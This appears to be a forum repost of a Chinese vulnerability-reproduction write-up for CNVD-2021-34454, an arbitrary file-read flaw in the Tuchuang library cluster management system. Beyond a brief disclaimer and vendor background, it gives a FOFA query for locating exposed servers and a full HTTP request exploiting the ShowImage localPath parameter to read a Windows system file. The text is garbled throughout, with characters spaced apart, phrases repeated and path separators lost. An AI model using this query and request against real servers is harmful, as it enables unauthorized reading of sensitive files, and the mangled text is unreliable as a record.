搜索

[7613] 2021-06-01_漏洞复现图创图书馆集群管理系统存在任意文件读取漏洞CNVD-2021-34454

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2021-06-01_漏洞复现图创图书馆集群管理系统存在任意文件读取漏洞CNVD-2021-34454 漏 洞 复 现   |   图 创 图 书 馆 集 群 管 理 系 统 存 在 任 意 文 件 读 取 漏 洞   C N V D - 2 0 2 1 - 3 4 4 5 4 原 创   小 小 小 月 球   F 1 2 s e c   2 0 2 1 - 0 6 - 0 1 收 录 于 话 题   # 漏 洞 复 现   , 1 1 个 前 言 C N V D - 2 0 2 1 - 3 4 4 5 4 由 团 队 师 傅 小 小 小 月 球 挖 掘 申 明 申 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ 漏 洞 背 景 广 州 图 创 计 算 机 软 件 开 发 有 限 公 司 是 集 产 品 研 发 、 应 用 集 成 、 客 户 服 务 为 一 体 的 高 新 技 术 企 业 ， 主 要 目 标 是 为 图 广 州 图 创 计 算 机 软 件 开 发 有 限 公 司 是 集 产 品 研 发 、 应 用 集 成 、 客 户 服 务 为 一 体 的 高 新 技 术 企 业 ， 主 要 目 标 是 为 图 书 馆 行 业 用 户 提 供 高 质 量 的 应 用 软 件 系 统 设 计 、 集 成 和 维 护 服 务 书 馆 行 业 用 户 提 供 高 质 量 的 应 用 软 件 系 统 设 计 、 集 成 和 维 护 服 务 漏 洞 背 景 利 用 漏 洞 ， 攻 击 者 可 以 读 取 利 用 漏 洞 ， 攻 击 者 可 以 读 取   W i n d o w s   或 或   L i n u x   服 务 器 上 的 任 意 文 件 。 利 用 文 件 读 取 漏 洞 ， 攻 击 者 可 以 获 取 到 服 务 器 上 的 任 意 文 件 。 利 用 文 件 读 取 漏 洞 ， 攻 击 者 可 以 获 取 到 系 统 文 件 信 息 ， 从 而 造 成 敏 感 信 息 泄 露 。 系 统 文 件 信 息 ， 从 而 造 成 敏 感 信 息 泄 露 。 F O F A 语 法 漏 洞 详 情 漏 洞 漏 洞 u r l : " 广 州 图 创 "   & &   c o u n t r y = " C N "   & &   b o d y = " / i n t e r l i b / c o m m o n / "
B u r p ： ： 文 件 读 取 情 况 仅 抓 包 情 况 下 可 见 文 件 读 取 情 况 仅 抓 包 情 况 下 可 见 如 果 对 你 有 帮 助 的 话 如 果 对 你 有 帮 助 的 话 那 就 长 按 二 维 码 ， 那 就 长 按 二 维 码 ， 关 注 关 注 我 们 吧 ！ 我 们 吧 ！ / i n t e r l i b / r e p o r t / S h o w I m a g e ? l o c a l P a t h = C : W i n d o w s s y s t e m . i n i G E T   / i n t e r l i b / r e p o r t / S h o w I m a g e ? l o c a l P a t h = C : W i n d o w s s y s t e m . i n i   H T T P / 1 . 1 H o s t :   X X X . X X X . X X X . X X X U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 8 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e R e f e r e r :   h t t p : / / x x x . x x x . x x x . x x x C o n n e c t i o n :   c l o s e C o o k i e :   J S E S S I O N I D = 6 5 7 0 7 3 E 5 F C D 2 C 4 B A 1 2 2 3 9 1 8 2 D 0 1 B 1 9 9 3 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C a c h e - C o n t r o l :   m a x - a g e = 0
    经 验 分 享   |   渗 透 笔 记 之 B y p a s s   W A F     什 么 是 H T T P 和 H T T P S     实 战   |     B Y P A S S 安 全 狗 - 我 也 很 “ 异 或 ”   右 下 角 求 赞 求 好 看 ， 喵 ~
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理